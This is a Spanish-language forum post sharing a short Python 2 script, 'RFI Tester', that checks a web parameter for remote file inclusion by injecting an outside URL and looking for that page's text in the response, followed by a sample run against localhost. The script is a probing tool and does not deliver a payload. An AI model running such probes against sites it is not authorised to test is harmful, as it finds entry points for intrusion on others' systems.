[Python] RFI Tester

[BigBear]

Hola a todos.

Acabo de hacer un simple verificador de vulnerabilidad RFI

Código (python) [Seleccionar] Expandir


#!usr/bin/python
#RFI Tester (C) Doddy Hackman

import os,sys,urllib2,re

def header() :
print "\n--== RFI Tester ==--\n"

def copyright() :
print "\n\n(C) Doddy Hackman 2010\n"
exit(1)

def show() :
print "\n[*] Sintax : ",sys.argv[0]," <web>\n"

def toma(web) :
return urllib2.urlopen(web).read()

def test(web):
try:
 print "\n[+] Testing vulnerability RFI in",web
 code = toma(web+"http://www.supertangas.com")
 if(re.findall("Los mejores TANGAS de la red",code,re.I)):
  print "[+] RFI Detected"
 else:
  print "[-] RFI Not Found"
except:
 pass

header()

if len(sys.argv) != 2 :
show()

else :
test(sys.argv[1])

copyright()


#The End


Ejemplo de uso

Código [Seleccionar] Expandir


python rfi.py http://127.0.0.1/rfi.php?index=


Código [Seleccionar] Expandir


C:\Users\DoddyH\Desktop\Arsenal X parte 2>rfi.py http://127.0.0.1/rfi.php?index=

--== RFI Tester ==--


[+] Testing vulnerability RFI in http://127.0.0.1/rfi.php?index=
[+] RFI Detected

(C) Doddy Hackman 2010